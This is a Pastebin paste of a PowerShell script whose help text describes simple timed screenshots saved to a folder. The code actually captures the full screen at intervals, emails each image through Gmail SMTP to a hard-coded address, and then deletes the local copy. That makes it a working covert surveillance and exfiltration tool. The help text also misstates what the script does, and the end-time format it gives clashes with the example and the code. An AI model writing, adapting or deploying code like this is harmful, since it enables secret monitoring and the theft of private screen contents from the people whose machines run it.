Guest User

Untitled

a guest
Mar 4th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.61 KB | None | 0 0
  1. <#
  2. .DESCRIPTION
  3.  
  4. A function that takes screenshots and saves them to a folder.
  5.  
  6. .PARAMETER $Path
  7.  
  8. Specifies the folder path.
  9.  
  10. .PARAMETER $Interval
  11.  
  12. Specifies the interval in seconds between taking screenshots.
  13.  
  14. .PARAMETER $EndTime
  15.  
  16. Specifies when the script should stop running in the format HH-MM
  17.  
  18. .EXAMPLE
  19.  
  20. PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
  21. #>
  22.  
  23. [CmdletBinding()] Param(
  24. [Parameter(Mandatory=$True)]
  25. [ValidateScript({Test-Path -Path $_ })]
  26. [string] $Path,
  27.  
  28. [Parameter(Mandatory=$True)]
  29. [int32] $Interval,
  30.  
  31. [Parameter(Mandatory=$True)]
  32. [string] $EndTime
  33. )
  34.  
  35. #Define helper function that generates and saves screenshot
  36. Function GenScreenshot {
  37. $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
  38. $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
  39. $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
  40. $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
  41. $DrawingGraphics.Dispose()
  42. $ScreenshotObject.Save($FilePath)
  43. $ScreenshotObject.Dispose()
  44. $ScreenshotObject.Dispose()
  45. }
  46.  
  47. #Define function send email
  48. Function SendEmail {
  49. $SMTPServer = "smtp.gmail.com"
  50. $SMTPPort = "587"
  51. $Username = "username@gmail.com"
  52. $Password = "password"
  53.  
  54. $to = "to_username@gmail.com"
  55. #$cc = "user@domain.com"
  56. $subject = "Subject"
  57. $body = "$((Get-Date).ToString())"
  58. $attachment = $FilePath
  59.  
  60. $message = New-Object System.Net.Mail.MailMessage
  61. $message.subject = $subject
  62. $message.body = $body
  63. $message.to.add($to)
  64. #$message.cc.add($cc)
  65. $message.from = $username
  66. $message.attachments.add($attachment)
  67.  
  68. $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
  69. $smtp.EnableSSL = $true
  70. $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
  71. $smtp.send($message)
  72.  
  73. $message.Dispose()
  74. $smtp.Dispose()
  75. }
  76.  
  77. Try {
  78.  
  79. #load required assembly
  80. Add-Type -Assembly System.Windows.Forms
  81.  
  82. Do {
  83. #get the current time and build the filename from it
  84. $Time = (Get-Date)
  85.  
  86. [string] $FileName = "$($Time.Month)"
  87. $FileName += '-'
  88. $FileName += "$($Time.Day)"
  89. $FileName += '-'
  90. $FileName += "$($Time.Year)"
  91. $FileName += '@'
  92. $FileName += "$($Time.Hour)"
  93. $FileName += '-'
  94. $FileName += "$($Time.Minute)"
  95. $FileName += '-'
  96. $FileName += "$($Time.Second)"
  97. $FileName += '.png'
  98.  
  99. #use join-path to add path to filename
  100. [string] $FilePath = (Join-Path $Path $FileName)
  101.  
  102. #run screenshot function
  103. GenScreenshot
  104.  
  105. # run send email function
  106. SendEmail
  107.  
  108. # remove screenshot when email has been sent
  109. Remove-Item –Path $FilePath -Force
  110.  
  111. #Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
  112.  
  113. Start-Sleep -Seconds $Interval
  114. }
  115.  
  116. #note that this will run once regardless if the specified time as passed
  117. While ((Get-Date -Format HH:%m) -lt $EndTime)
  118. }
  119. Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
Add Comment
Please, Sign In to add comment